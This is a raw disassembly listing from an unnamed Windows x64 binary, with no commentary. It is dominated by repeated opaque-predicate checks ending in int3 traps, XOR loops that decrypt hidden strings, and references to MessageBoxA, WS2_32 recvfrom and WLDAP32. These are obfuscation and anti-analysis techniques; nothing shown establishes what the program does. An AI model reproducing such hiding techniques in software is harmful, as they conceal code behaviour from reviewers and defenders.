mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov rax, qword gs:[0x23]
cmp rax, r15
jne 0x14001e8ee
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001e8ce
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001e8ce
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001e8ee
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
movdqa xmm0, xmmword [0x1400d3c50]
movdqu xmmword [rbp + 0xbc8], xmm0
movdqa xmm1, xmmword [0x1400d3c00]
movdqu xmmword [rbp + 0xbd8], xmm1
mov dword [rbp + 0xbe8], 0x6fd9d69
mov dword [rbp + 0xbec], 0xa33bba0e
mov dword [rbp + 0xbf0], 0x2feac22a
xor eax, eax
mov byte [rbp + 0xbf4], al
mov rdi, r13
movabs r14, 0x1a6340e62
mov qword [rsp + 0x20], r14
mov r9d, Ordinal_45
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbc8]
lea rcx, [rbp + 0xbc8]
call fcn.14002ca10
xor al, dil
mov byte [rbp + rdi + 0xbc8], al
inc rdi
cmp rdi, 0x2c
jb 0x14001e941
mov byte [rbp + 0xbf4], r13b
lea rdx, [rbp + 0xbc8]
lea rcx, [rbp + 0x1188]
call fcn.140001ea8
mov rax, qword gs:[0x23]
cmp rax, r15
movabs r14, 0x43cd74f94e7736a0
jne 0x14001ea43
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001ea23
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001ea23
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001ea43
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov rax, qword gs:[0x23]
cmp rax, r15
jne 0x14001eb00
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0xc8da7f20
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x12764b03
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001eae0
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001eae0
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001eb00
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
lea rcx, [rbp + 0x9f8]
call fcn.14001cf6c
mov rdi, rax
lea rcx, [rsp + 0x60]
call fcn.140001fb8
mov qword [rsp + 0x20], rax
mov r9d, 8
xor r8d, r8d
mov rdx, rdi
lea rcx, [rbp + 0x1208]
call fcn.14002db2c
lea rcx, [rbp + 0x9f8]
call fcn.14002da68
lea rcx, [rbp + 0x9f8]
call fcn.1400024c8
mov rax, qword gs:[0x23]
cmp rax, r15
jne 0x14001ebf8
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001ebd8
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001ebd8
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001ebf8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov rax, qword gs:[0x23]
cmp rax, r15
jne 0x14001eca2
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001ec82
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001ec82
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001eca2
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov dword [rbp - 0x68], 0x6f256f8d
mov word [rbp - 0x64], 0x4e67
xor eax, eax
mov byte [rbp - 0x62], al
mov rdi, r13
movabs r14, 0x1a6340e62
mov qword [rsp + 0x20], r14
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x68]
lea rcx, [rbp - 0x68]
call fcn.14002c998
xor al, dil
mov byte [rbp + rdi - 0x68], al
inc rdi
cmp rdi, 6
jb 0x14001ecc1
mov byte [rbp - 0x62], r13b
mov dword [rbp - 0x58], 0x6f257d94
mov word [rbp - 0x54], 0x4e67
xor eax, eax
mov byte [rbp - 0x52], al
mov rdi, r13
movabs r14, 0x43cd74f94e7736a0
movabs r12, 0x1a6340e62
mov qword [rsp + 0x20], r12
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x58]
lea rcx, [rbp - 0x58]
call fcn.14002c998
xor al, dil
mov byte [rbp + rdi - 0x58], al
inc rdi
cmp rdi, 6
jb 0x14001ed19
mov byte [rbp - 0x52], r13b
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x1188]
lea rcx, [rbp + 0xa38]
call fcn.14002dd9c
lea rdx, [rbp + 0x1208]
mov rcx, rax
call fcn.14002d774
mov rdx, rax
lea rcx, [rbp + 0xa58]
call fcn.14002d8c8
lea rcx, [rbp - 0x68]
call fcn.140002010
mov rcx, rax
call fcn.140001fb8
mov r8, rax
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0xa58]
call fcn.14002d5b4
mov rdx, rax
lea rcx, [rbp + 0xa78]
call fcn.14002d8c8
lea rdx, [0x1400e2180]
lea rcx, [rbp + 0xa78]
call fcn.14002d774
mov rdx, rax
lea rcx, [rbp + 0x11e8]
call fcn.14002d8c8
lea rcx, [rbp + 0xa78]
call fcn.14002da68
lea rcx, [rbp + 0xa78]
call fcn.1400024c8
lea rcx, [rbp + 0xa58]
call fcn.14002da68
lea rcx, [rbp + 0xa58]
call fcn.1400024c8
lea rcx, [rbp + 0xa38]
call fcn.14002da68
lea rcx, [rbp + 0xa38]
call fcn.1400024c8
mov rax, qword gs:[0x23]
cmp rax, r15
mov r12d, 0xd969f13c
mov edi, 0xc8da7f20
jne 0x14001eedf
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x12764b03
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001eebf
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001eebf
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001eedf
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov rax, qword gs:[0x23]
cmp rax, r15
jne 0x14001ef9a
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x12764b03
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001ef7a
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001ef7a
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001ef9a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
lea rcx, [rbp + 0x1208]
call fcn.14002d3dc
xor edx, edx
lea r8d, [rdx + 0xa]
mov rcx, rax
call fcn.140093800
mov rax, qword gs:[0x23]
cmp rax, r15
jne 0x14001f05e
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001f03e
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001f03e
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001f05e
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400928d8
int3
mov rax, qword gs:[0x23]
cmp rax, r15
jne 0x14001f108
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001f0e8
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001f0e8
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001f108
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
nop
mov dl, byte [rsp + 0x60]
lea rcx, [rbp + 0x10e8]
call fcn.140001f60
lea rcx, [rbp + 0x10e8]
call fcn.14002db04
nop
mov rax, qword gs:[0x23]
cmp rax, r15
jne 0x14001f1e0
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x12764b03
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001f1c0
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001f1c0
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001f1e0
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov rax, qword gs:[0x23]
cmp rax, r15
jne 0x14001f28a
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001f26a
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001f26a
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001f28a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
lea rcx, [rbp + 0x11e8]
call fcn.14002d3dc
mov r9b, 1
xor r8d, r8d
lea rdx, [rbp + 0x10e8]
mov rcx, rax
call fcn.14001cad4
mov rax, qword gs:[0x23]
cmp rax, r15
jne 0x14001f355
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001f335
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001f335
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001f355
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov dword [rbp + 0x1e0], 0x537eb5b8
mov dword [rbp + 0x1e4], 0x847926a1
mov dword [rbp + 0x1e8], 0x955b635d
xor eax, eax
mov byte [rbp + 0x1ec], al
mov rdi, r13
movabs r14, 0x1a6340e62
mov qword [rsp + 0x20], r14
mov r9d, recv
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1e0]
lea rcx, [rbp + 0x1e0]
call fcn.14002c920
xor al, dil
mov byte [rbp + rdi + 0x1e0], al
inc rdi
cmp rdi, 0xc
jb 0x14001f388
mov byte [rbp + 0x1ec], r13b
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x10e8]
call fcn.14002e0b8
mov r12d, reloc.WS2_32.dll_recvfrom
test al, al
movabs r14, 0x43cd74f94e7736a0
je 0x14001f99f
mov rax, qword gs:[0x23]
cmp rax, r15
jne 0x14001f4ab
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0xc8da7f20
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x12764b03
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001f48b
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001f48b
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001f4ab
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
movdqa xmm0, xmmword [0x1400d3ba0]
movdqu xmmword [rbp + 0x7b8], xmm0
mov dword [rbp + 0x7c8], 0x1de1350e
mov word [rbp + 0x7cc], 0x7911
xor eax, eax
mov byte [rbp + 0x7ce], al
mov rdi, r13
movabs r15, 0x1a6340e62
mov qword [rsp + 0x20], r15
mov r9d, reloc.WLDAP32.dll_Ordinal_22
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7b8]
lea rcx, [rbp + 0x7b8]
call fcn.14002c834
xor al, dil
mov byte [rbp + rdi + 0x7b8], al
inc rdi
cmp rdi, 0x16
jb 0x14001f4e3
mov byte [rbp + 0x7ce], r13b
movdqa xmm0, xmmword [0x1400d3e00]
movdqa xmmword [rbp + 0xd60], xmm0
movdqa xmm1, xmmword [0x1400d3c60]
movdqa xmmword [rbp + 0xd70], xmm1
movdqa xmm0, xmmword [0x1400d3cb0]
movdqa xmmword [rbp + 0xd80], xmm0
movdqa xmm1, xmmword [str.pHew]
movdqa xmmword [rbp + 0xd90], xmm1
movdqa xmm0, xmmword [0x1400d3c10]
movdqa xmmword [rbp + 0xda0], xmm0
movdqa xmm1, xmmword [0x1400d3c90]
movdqa xmmword [rbp + 0xdb0], xmm1
movdqa xmm0, xmmword [0x1400d3bc0]
movdqa xmmword [rbp + 0xdc0], xmm0
movdqa xmm1, xmmword [0x1400d3ce0]
movdqa xmmword [rbp + 0xdd0], xmm1
mov dword [rbp + 0xde0], 0x1ab6c516
mov word [rbp + 0xde4], 0x4f51
xor eax, eax
mov byte [rbp + 0xde6], al
mov rdi, r13
mov ebx, 0x86
mov r15d, 0xcae3443f
movabs r14, 0x1a6340e62
mov qword [rsp + 0x20], r14
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd60]
lea rcx, [rbp + 0xd60]
call fcn.14002c8a8
xor al, dil
mov byte [rbp + rdi + 0xd60], al
inc rdi
cmp rdi, rbx
jb 0x14001f5d1
mov byte [rbp + 0xde6], r13b
mov r9d, 4
lea r8, [rbp + 0x7b8]
lea rdx, [rbp + 0xd60]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edi, eax
mov rax, qword gs:[0x23]
cmp rax, r15
movabs r14, 0x43cd74f94e7736a0
mov r8d, 0xc8da7f20
jne 0x14001f6f3
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x208c51f
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, r8d
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x12764b03
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001f6d3
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001f6d3
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001f6f3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov rax, qword gs:[0x23]
cmp rax, r15
jne 0x14001f79d
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001f77d
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001f77d
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001f79d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
cmp edi, esi
je 0x14002c5a6
mov rax, qword gs:[0x23]
cmp rax, r15
jne 0x14001f862
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x208c51f
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x12764b03
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001f842
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001f842
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001f862
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400928d8
int3
movdqa xmm0, xmmword [0x1400d3b60]
movdqu xmmword [rbp + 0xc28], xmm0
movdqa xmm1, xmmword [0x1400d3b00]
movdqu xmmword [rbp + 0xc38], xmm1
movdqa xmm0, xmmword [0x1400d3ac0]
movdqu xmmword [rbp + 0xc48], xmm0
mov rdi, r13
movabs r14, 0x1a6340e62
mov qword [rsp + 0x20], r14
mov r9d, Ordinal_50
mov r8, rdi
mov dl, byte [rbp + rdi + 0xc28]
lea rcx, [rbp + 0xc28]
call fcn.14002c7c0
xor al, dil
mov byte [rbp + rdi + 0xc28], al
inc rdi
cmp rdi, 0x2f
jb 0x14001f89f
mov byte [rbp + 0xc57], r13b
lea rcx, [rbp + 0xc28]
call fcn.140096d2c
mov rax, qword gs:[0x23]
cmp rax, r15
movabs r14, 0x43cd74f94e7736a0
mov edi, 0xd969f13c
jne 0x14001f9a4
mov rax, qword gs:[0x5f]
xor rax, rdi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rdi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rdi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001f97f
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001f97f
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001f9a4
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov edi, 0xd969f13c
mov rax, qword gs:[0x23]
cmp rax, r15
jne 0x14001fa4e
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001fa2e
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001fa2e
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001fa4e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
lea rdx, [rbp + 0x10e8]
lea rcx, [rbp + 0xa98]
call fcn.14002d924
mov rdx, rax
lea rcx, [rbp + 0xab8]
call fcn.14001d0b4
mov rdx, rax
lea rcx, [rbp + 0x10e8]
call fcn.14002d800
lea rcx, [rbp + 0xab8]
call fcn.14002da68
lea rcx, [rbp + 0xab8]
call fcn.1400024c8
mov rax, qword gs:[0x23]
cmp rax, r15
jne 0x14001fb56
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x208c51f
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0xc8da7f20
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x12764b03
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001fb36
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001fb36
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001fb56
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov rax, qword gs:[0x23]
cmp rax, r15
jne 0x14001fc00
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001fbe0
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001fbe0
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001fc00
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
xor edx, edx
lea rcx, [rbp + 0x1188]
call fcn.14002dad8
mov rax, qword gs:[0x23]
cmp rax, r15
jne 0x14001fcb8
mov rax, qword gs:[0x5f]
xor rax, rdi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rdi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rdi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001fc98
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001fc98
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001fcb8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov rax, qword gs:[0x23]
cmp rax, r15
jne 0x14001fd62
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001fd42
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001fd42
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001fd62
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov rcx, qword [rbp + 0x10f8]
call fcn.14009719c
mov r15, rax
mov qword [rbp - 0x40], rax
mov rax, qword gs:[0x23]
mov ebx, 0xcae3443f
cmp rax, rbx
jne 0x14001fe24
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001fe04
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001fe04
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001fe24
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov rax, qword gs:[0x23]
cmp rax, rbx
jne 0x14001fece
mov rax, qword gs:[0x5f]
xor rax, rdi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rdi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rdi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001feae
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001feae
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001fece
mov rax, qword [rbp + 0xf40]
